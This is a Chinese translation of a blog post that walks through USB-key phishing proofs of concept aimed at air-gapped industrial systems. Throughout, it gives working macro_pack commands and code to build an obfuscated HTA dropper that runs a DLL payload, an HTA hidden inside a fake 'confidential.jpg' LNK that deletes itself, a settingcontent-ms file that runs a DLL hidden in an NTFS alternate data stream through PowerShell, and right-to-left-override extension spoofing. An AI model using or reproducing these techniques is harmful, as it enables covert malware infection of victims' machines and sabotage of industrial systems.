本文翻译自:http://blog.sevagas.com/?Advanced-USB-key-phishing
本文讲解一些恶意USB key被攻击者利用用于工业系统攻击的场景。
针对工业系统的攻击一般都是通过自动的恶意软件payload完成的,特点是不需要连接到远程系统。Payload也不需要窃取数据,因为主要目的是破坏,如Stuxnet震网病毒。攻击者需要绕过的安全防护措施包括电信网络过滤或完全的airgap。
在这样的环境下,攻击向量需要处理的规则有:
没有internet连接;
除操作系统外没有目标系统的其他信息;
USB可见内容应该尽可能少地产生可能的告警;
Payload的执行应该尽可能少地产生可能的告警。
攻击的目的就是传播和运行二进制payload。在下面的例子中,payload就是一个DLL文件。
在POC中,研究人员使目标认为打开的是一个图像(confidential.jpg),而实际上打开的是恶意的LNK快捷方式文件(confidential.jpg.lnk)。HTA dropper隐藏在快捷方式文件中,LNK文件会执行HTA,而HTA会释放并执行DLL payload,并用诱饵文件(confidential.jpg)替换快捷方式。
研究人员用macro_pack创建了一个会释放和执行payload.dll的混淆过的HTA payload:
echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G payload.hta
EMBED_DLL模板会创建一段VB代码,代码会释放用-embed扩展加载的文件,并用Rundl32l加载。研究人员用该模板来运行DLL的DllMain函数。
研究人员用-G选项生成一个HTA文件,而且文件中的VB代码是混淆过的。
可以使用mshta来检查HTA文件是否工作,并调用临时文件夹释放的DLL文件。
研究人员用EMBED_EXE macro_pack 模板在特定目录内潜入、释放和运行payload。在本例中,研究人员使用的图片是confidential.jpg。目标是在能够同样的文件夹中释放一个恶意LNK来在DLL payload执行时替换该LNK。
echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G pic.hta
如果双击pic.hta,可以看到释放到当前文件夹的confidential.jpg图片,并被默认图片浏览器打开。
研究人员必须生成DLL释放器来在macro_pack中潜入到二进制payload,图片释放器会手动复制粘贴来生成最终的HTA payload。
指令:
AutoOpen2
AutoOpen
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set WshShell = CreateObject("WScript.Shell")
objFSO.DeleteFile window.document.location.pathname
Close
payload.hta文件就会释放并运行这个图片,然后运行DLL,最后删除自己。
研究人员利用HTA文件的多语言特性,将HTA嵌入到LNK文件中。研究人员希望LNK文件名为confidential.jpg.lnk,因此要运行下面的代码:
%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"
然后使用macro_pack来生成LNK。研究人员可以直接生成快捷方式到USB Key中来避免系统对快捷方式文件的修改。USB所在目录是G:
macro_pack.exe -G G:\confidential.jpg.lnk
当提示shortcut_Target时,输入:
%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"
当提示Shortcut_Icon时,输入:
%windir%\system32\imageres.dll,67 (Index 67 corresponds to JPG images icon in imageres.dll)
当创建LNK快捷方式文件时,研究人员将其添加到HTA代码中:
copy /b G:\confidential.jpg.lnk+cmd.hta G:\confidential.jpg.lnk
这就完成了钓鱼向量。
将confidential.jpg.lnk复制到USB key中,将USB key插入到另一个Windows机器上。访问USB key并双击confidential.jpg文件,就可以看到该文件。
DLL文件同时也加载了,但是是隐藏的,可以在任务管理器中看到。DLL在临时文件夹中释放的信息为Document1.asd,并且在了一行VB代码中执行:
CreateObject("WScript.Shell").Run "%windir%\system32\rundll32.exe %temp%\Document1.asd,<<<DLL_FUNCTION>>>", 0
之后可以看到LNK文件不在在USB key上了,而是被真实的图片文件替代了。
在第二个POC中,要让用户相信打开的是README.txt文件,而后台真正运行的是恶意的settingcontent-ms文件。
因为settingcontent-ms文件遵循严格的XML方案,所以像POC1中一样将其添加到HTA文件中看似不太可能。但研究人员使用NTFS Alternate Data Stream来运行和隐藏DLL payload。
settingcontent-ms文件会运行隐藏在Alternate Data Stream (README.txt.settingcontent-ms:R)中的DLL,并运行Notepad来展示保存在了一个ADS(README.txt.settingcontent-ms:T. txt ) 中的诱饵文件。settingcontent-ms文件的好处是没有LNK或URI文件这样的快捷方式箭头。
首先,要创建一个目标打开readme文件时notepad要展示的简单文本文件。
echo "This is a simple README file." > Text.txt
研究人员使用macro_pack来生成settincontent-ms文件。比如,生成一个打开计算器的假的README.txt文件:
echo 'C:\windows\system32\cmd.exe /c calc.exe' '.' | macro_pack.exe -G README.txt.settingcontent-ms
DLL和诱饵文件会隐藏在USB key的NTFS文件系统的Alternate Data Stream中。但问题是settingcontent-ms文件默认是在C:\windows\system32\中打开的,也就是说必须要找出一种方法来找到USB key所在卷。因此,研究人员选择了powershell:
%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"
这段代码的意思是:
注:DLL也可以用POC 1中的rundll32方法加载。
最终的README.txt.settingcontent-ms文件是这样的:
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"</DeepLink>
<Icon>.</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
首先,要确保USB key格式化为NTFS文件系统;
然后将README.txt.settingcontent-ms文件移动到NTFS USB key上。
在本例中,USB使用的卷名为G。下面开始创建ADS:
README.txt.settingcontent-ms:R 流中含有DLL:
type payload.dll > G:\README.txt.settingcontent-ms:R
文件G:\README.txt.settingcontent-ms:T.txt 流含有诱饵文件:
type Text.txt > G:\README.txt.settingcontent-ms:T.txt
使用sysinternal "Streams"可以检查USB key中是否创建ADS成功:
将USB key插入另一台windows 10主机,访问USB并双击README.txt,就可以看到DLL加载的同时,notepad打开txt文件并展示文本内容:
This is a simple README file.
下面证明通过注入Unicode Right-To-Left-Override(RTLO,文字倒序)来欺骗文件扩展。这是隐藏文件扩展名的好办法,因为字符经RTLO处理后会从右到左显示。比如,可以生成一个用macro_pack生成一个含有假jpg扩展的HTA文件:
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
在资源管理器中,本应是calc[rtlo]gpj.hta的文件会显示为calcath.jpg。这种方法在Ubuntu这样的系统中也是有用的。
使用Unicode RTLP进行钓鱼攻击有很多种方法。其中一种是将恶意exe文件伪装成zip文件。在这种攻击场景中,当受害者点击假的zip文件,exe就会运行payload并打开隐藏在文件资源或ADS中的诱饵文件。
有兴趣的朋友可以自己练习测试一下Unicode RTLO。